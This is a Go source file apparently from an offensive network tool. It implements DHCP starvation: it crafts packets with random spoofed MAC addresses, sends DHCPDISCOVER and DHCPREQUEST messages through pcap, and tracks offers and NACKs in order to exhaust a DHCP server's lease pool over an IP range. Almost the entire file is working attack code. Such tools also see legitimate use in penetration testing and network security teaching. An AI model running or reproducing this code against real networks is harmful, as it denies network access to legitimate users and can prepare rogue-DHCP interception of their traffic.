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dhcp.go
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dhcp.go
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package main
import (
crand "crypto/rand"
"encoding/binary"
"fmt"
"net"
"os"
"strconv"
"strings"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/pterm/pterm"
)
type DHCPStarvation struct {
handle *pcap.Handle
pktsrc *gopacket.PacketSource
iface *net.Interface
MAC net.HardwareAddr
server net.IP
start net.IP
end net.IP
offredIP net.IP
hosts []net.IP
EthernetLayer *layers.Ethernet
IPLayer *layers.IPv4
UDPLayer *layers.UDP
}
func NewDHCPStarvation(iface *net.Interface, server net.IP, start net.IP, end net.IP) (*DHCPStarvation, error) {
handle, err := pcap.OpenLive(iface.Name, 65536, true, time.Second*3)
if err != nil {
return &DHCPStarvation{}, err
}
return &DHCPStarvation{handle: handle, pktsrc: gopacket.NewPacketSource(handle, layers.LayerTypeEthernet),
iface: iface, server: server, start: start, end: end}, nil
}
func (d *DHCPStarvation) SendDHCPDiscover(xid uint32) {
d.EthernetLayer = &layers.Ethernet{
EthernetType: layers.EthernetTypeIPv4,
SrcMAC: d.MAC,
DstMAC: layers.EthernetBroadcast,
}
d.IPLayer = &layers.IPv4{
Version: 4,
TTL: 64,
SrcIP: []byte{0, 0, 0, 0},
DstIP: []byte{255, 255, 255, 255},
Protocol: layers.IPProtocolUDP,
}
d.UDPLayer = &layers.UDP{
SrcPort: 68,
DstPort: layers.UDPPort(67),
}
DHCPLayerRequest := layers.DHCPv4{
Operation: layers.DHCPOpRequest,
HardwareType: layers.LinkTypeEthernet,
ClientHWAddr: d.MAC,
Xid: xid,
}
if d.server != nil {
DHCPLayerRequest.NextServerIP = d.server
}
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
ComputeChecksums: true,
FixLengths: true,
}
d.AppendOption(&DHCPLayerRequest, layers.DHCPOptMessageType, []byte{byte(layers.DHCPMsgTypeDiscover)})
d.AppendOption(&DHCPLayerRequest, layers.DHCPOptHostname, []byte(fmt.Sprintf("%v-th3x0ne.com", xid)))
d.AppendOption(&DHCPLayerRequest, layers.DHCPOptParamsRequest,
[]byte{
1, // Subnet Mask
3, // Router
6, // Domain Name Server
26, // Interface MTU
42, // Network Time Protocol Servers
28, // Broadcast
},
)
d.UDPLayer.SetNetworkLayerForChecksum(d.IPLayer)
check(gopacket.SerializeLayers(buf, opts, d.EthernetLayer, d.IPLayer, d.UDPLayer, &DHCPLayerRequest))
data := buf.Bytes()
if Verbose {
fmt.Printf("%v Sending %v (%s bytes):\n"+
"\t%10s: %16s - %10s: %16s\n"+
"\t%10s : %16s - %10s: %16s\n\n",
pterm.Blue("•••"), pterm.LightCyan("DHCPDISCOVER"), pterm.Green(len(data)),
pterm.FgMagenta.Sprintf("SourceMAC"), pterm.Yellow(d.EthernetLayer.SrcMAC),
pterm.FgMagenta.Sprintf("DestMAC"), pterm.Yellow(d.EthernetLayer.DstMAC),
pterm.FgMagenta.Sprintf("SourceIP"), pterm.Yellow(d.IPLayer.SrcIP),
pterm.FgMagenta.Sprintf("DestIP"), pterm.Yellow(d.IPLayer.DstIP))
}
check(d.handle.WritePacketData(data))
}
func (d *DHCPStarvation) WaitForDHCPOffer(sp *pterm.SpinnerPrinter) bool {
start := time.Now()
for dp := range d.pktsrc.Packets() {
// fmt.Println(time.Since(start).Seconds())
// wait for 3 seconds, if no OFFER packet receieved, that means maybe no free leases
if now := time.Since(start); now.Seconds() > float64(3) {
// Breaking
break
}
if DHCPLayer := dp.Layer(layers.LayerTypeDHCPv4); DHCPLayer != nil {
DHCPResponse := DHCPLayer.(*layers.DHCPv4)
// check if DHCPOFFER MESSAGE
if int(DHCPResponse.Options[0].Data[0]) == 2 {
// sp.UpdateText(fmt.Sprintf("Recieved DHCPOFFER (%d bytes)...", len(dp.Data())))
// fmt.Printf("\n*** Recieved DHCPOFFER (%d bytes):\n", len(dp.Data()))
// extract Ethernet Layer
EthernetLayer := dp.Layer(layers.LayerTypeEthernet)
Ethernet := EthernetLayer.(*layers.Ethernet)
// extract IP Layer
IPv4Layer := dp.Layer(layers.LayerTypeIPv4)
IPv4 := IPv4Layer.(*layers.IPv4)
// as we will use concurrency we will have other DHCP Responses in the same time,
// so we are verifying that response is ours or NOT
// fmt.Println(d.offredIP.To4(), IPv4.DstIP.To4(), net.IP.Equal(d.offredIP.To4(), IPv4.DstIP.To4()))
// if equal := net.IP.Equal(d.offredIP.To4(), DHCPResponse.YourClientIP.To4()); !equal {
// fmt.Println("false continue")
// continue
// }
if Verbose {
fmt.Printf("%v Recieved %v (%s bytes):\n"+
"\t%10s: %16s - %10s: %16s\n"+
"\t%10s : %16s - %10s: %16s\n",
pterm.Green("•••"), pterm.LightCyan("DHCPOFFER"), pterm.Green(len(dp.Data())),
pterm.FgMagenta.Sprintf("SourceMAC"), pterm.Yellow(Ethernet.SrcMAC),
pterm.FgMagenta.Sprintf("DestMAC"), pterm.Yellow(Ethernet.DstMAC),
pterm.FgMagenta.Sprintf("SourceIP"), pterm.Yellow(IPv4.SrcIP),
pterm.FgMagenta.Sprintf("DestIP"), pterm.Yellow(IPv4.DstIP))
}
if d.offredIP == nil {
d.offredIP = DHCPResponse.YourClientIP
}
// set Server ID for next Request
d.server = IPv4.SrcIP
if Verbose {
var message []string
message = append(message, fmt.Sprintf("\t%s: %s\n", pterm.FgBlue.Sprintf("Offered IP"), pterm.Green(DHCPResponse.YourClientIP)))
for _, opt := range DHCPResponse.Options {
if int(opt.Type) != 53 {
switch int(opt.Type) {
case 1, 54, 28, 3, 6, 42:
message = append(message, fmt.Sprintf("\t%v(%v) : %s\n", pterm.FgBlue.Sprintf(opt.Type.String()),
pterm.Yellow(strconv.Itoa(int(opt.Type))), pterm.Green(net.IP(opt.Data))))
case 51, 58, 59:
if len(opt.Data) != 4 {
message = append(message, fmt.Sprintf("\t%s : %s\n", pterm.FgBlue.Sprintf(opt.Type.String()),
pterm.FgRed.Sprintf("INVALID")))
}
message = append(message, fmt.Sprintf("\t%v(%v) : %s\n",
pterm.FgBlue.Sprintf(opt.Type.String()), pterm.Yellow(strconv.Itoa(int(opt.Type))),
pterm.Green(uint32(opt.Data[0])<<24|uint32(opt.Data[1])<<16|uint32(opt.Data[2])<<8|uint32(opt.Data[3]))))
case 119, 47, 15:
message = append(message, fmt.Sprintf("\t%v(%v) : %s\n", pterm.FgBlue.Sprintf(opt.Type.String()),
pterm.Yellow(strconv.Itoa(int(opt.Type))), string(opt.Data)))
default:
message = append(message, fmt.Sprintf("\t%v(%v) : %v\n", pterm.FgBlue.Sprintf(opt.Type.String()),
pterm.Yellow(strconv.Itoa(int(opt.Type))), pterm.Green(opt.Data)))
}
}
}
fmt.Println(strings.Join(message, " "))
}
return true
}
}
}
return false
}
func (d DHCPStarvation) SendDHCPRequest(xid uint32) {
DHCPLayerReply := layers.DHCPv4{
Operation: layers.DHCPOpReply,
HardwareType: layers.LinkTypeEthernet,
ClientHWAddr: d.MAC,
Xid: xid,
}
if d.offredIP != nil {
DHCPLayerReply.ClientIP = d.offredIP
}
if d.server != nil {
DHCPLayerReply.NextServerIP = d.server
}
d.AppendOption(&DHCPLayerReply, layers.DHCPOptMessageType, []byte{byte(layers.DHCPMsgTypeRequest)})
d.UDPLayer.SetNetworkLayerForChecksum(d.IPLayer)
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
ComputeChecksums: true,
FixLengths: true,
}
check(gopacket.SerializeLayers(buf, opts, d.EthernetLayer, d.IPLayer, d.UDPLayer, &DHCPLayerReply))
data := buf.Bytes()
if Verbose {
fmt.Printf("%v Sending %v (%s bytes):\n"+
"\t%10s: %16s - %10s: %16s\n"+
"\t%10s : %16s - %10s: %16s\n\n",
pterm.Blue("•••"), pterm.LightCyan("DHCPREQUEST"), pterm.Green(len(data)),
pterm.FgMagenta.Sprintf("SourceMAC"), pterm.Yellow(d.EthernetLayer.SrcMAC),
pterm.FgMagenta.Sprintf("DestMAC"), pterm.Yellow(d.EthernetLayer.DstMAC),
pterm.FgMagenta.Sprintf("SourceIP"), pterm.Yellow(d.IPLayer.SrcIP),
pterm.FgMagenta.Sprintf("DestIP"), pterm.Yellow(d.IPLayer.DstIP))
}
check(d.handle.WritePacketData(data))
}
func (d *DHCPStarvation) WaitForDHCPNACK() (string, bool) {
// set timeout
start := time.Now()
for dp := range d.pktsrc.Packets() {
// fmt.Println(time.Since(start).Seconds())
// wait for 3 seconds, if no NACK packet receieved, that means IP starved Successfully
if now := time.Since(start); now.Seconds() > float64(3) {
// Breaking
return "", true
}
if DHCPLayer := dp.Layer(layers.LayerTypeDHCPv4); DHCPLayer != nil {
// extract DHCPLayer
DHCPResponse := DHCPLayer.(*layers.DHCPv4)
// check if DHCPNACK MESSAGE
if int(DHCPResponse.Options[0].Data[0]) == 6 {
// extract Ethernet Layer
EthernetLayer := dp.Layer(layers.LayerTypeEthernet)
Ethernet := EthernetLayer.(*layers.Ethernet)
// extract IP Layer
IPv4Layer := dp.Layer(layers.LayerTypeIPv4)
IPv4 := IPv4Layer.(*layers.IPv4)
if Verbose {
fmt.Printf("%v Recieved %v (%s bytes):\n"+
"\t%10s: %16s - %10s: %16s\n"+
"\t%10s : %16s - %10s: %16s\n\n",
pterm.Yellow("•••"), pterm.LightCyan("DHCPNACK"), pterm.Green(len(dp.Data())),
pterm.FgMagenta.Sprintf("SourceMAC"), pterm.Yellow(Ethernet.SrcMAC),
pterm.FgMagenta.Sprintf("DestMAC"), pterm.Yellow(Ethernet.DstMAC),
pterm.FgMagenta.Sprintf("SourceIP"), pterm.Yellow(IPv4.SrcIP),
pterm.FgMagenta.Sprintf("DestIP"), pterm.Yellow(IPv4.DstIP))
}
for _, opt := range DHCPResponse.Options {
// Looking for Message Only
if int(opt.Type) == 56 {
// fmt.Printf("\t%v: %s\n", opt.Type, string(opt.Data))
return string(opt.Data), false
}
}
}
}
}
return "", true
}
func (d *DHCPStarvation) GenerateMAC() {
var buffer []byte = make([]byte, 6)
var MAC net.HardwareAddr
_, err := crand.Read(buffer)
if err != nil {
pterm.Error.Println("Unable to generate New MAC Address !")
pterm.Println()
os.Exit(-1)
}
buffer[0] |= 2
d.MAC = append(MAC, buffer[0], buffer[1], buffer[2], buffer[3], buffer[4], buffer[5])
}
func (d DHCPStarvation) AppendOption(DHCPLayer *layers.DHCPv4, optType layers.DHCPOpt, data []byte) {
DHCPLayer.Options = append(DHCPLayer.Options, layers.DHCPOption{
Type: optType,
Data: data,
Length: uint8(len(data)),
})
}
func (d *DHCPStarvation) Hosts() error {
if isNotLess := IPLess(d.start, d.end); isNotLess {
network := 0
for {
host := d.IPAdd(network)
network++
d.hosts = append(d.hosts, host)
if isEqual := d.end.Equal(host); isEqual {
break
}
}
return nil
}
return fmt.Errorf("can't Accept Values - start: %v - end: %v \n- Available hosts in this range %v <= 0",
pterm.LightYellow(d.start), pterm.LightYellow(d.end), pterm.LightYellow(d.IPRangeCount()))
}
// IPRange returns how many ips in the ip range from start to stop (inclusive)
func (d *DHCPStarvation) IPRangeCount() int {
return int(binary.BigEndian.Uint32(d.end.To4())) - int(binary.BigEndian.Uint32(d.start.To4()))
}
// IPAdd returns a copy of start + add.
// IPAdd(net.IP{192,168,1,1},30) returns net.IP{192.168.1.31}
func (d *DHCPStarvation) IPAdd(add int) (result net.IP) { // IPv4 only
start := d.start.To4()
result = make(net.IP, 4)
binary.BigEndian.PutUint32(result, binary.BigEndian.Uint32(start)+uint32(add))
return
}
// IPLess returns where IP a is less than IP b.
func IPLess(a, b net.IP) bool {
b = b.To4()
for i, ai := range a.To4() {
if ai != b[i] {
return ai < b[i]
}
}
return false
}
// IPInRange returns true if ip is between (inclusive) start and stop.
func IPInRange(start, stop, ip net.IP) bool {
if start != nil && stop != nil {
return !(IPLess(ip, start) || IPLess(stop, ip))
}
return true
}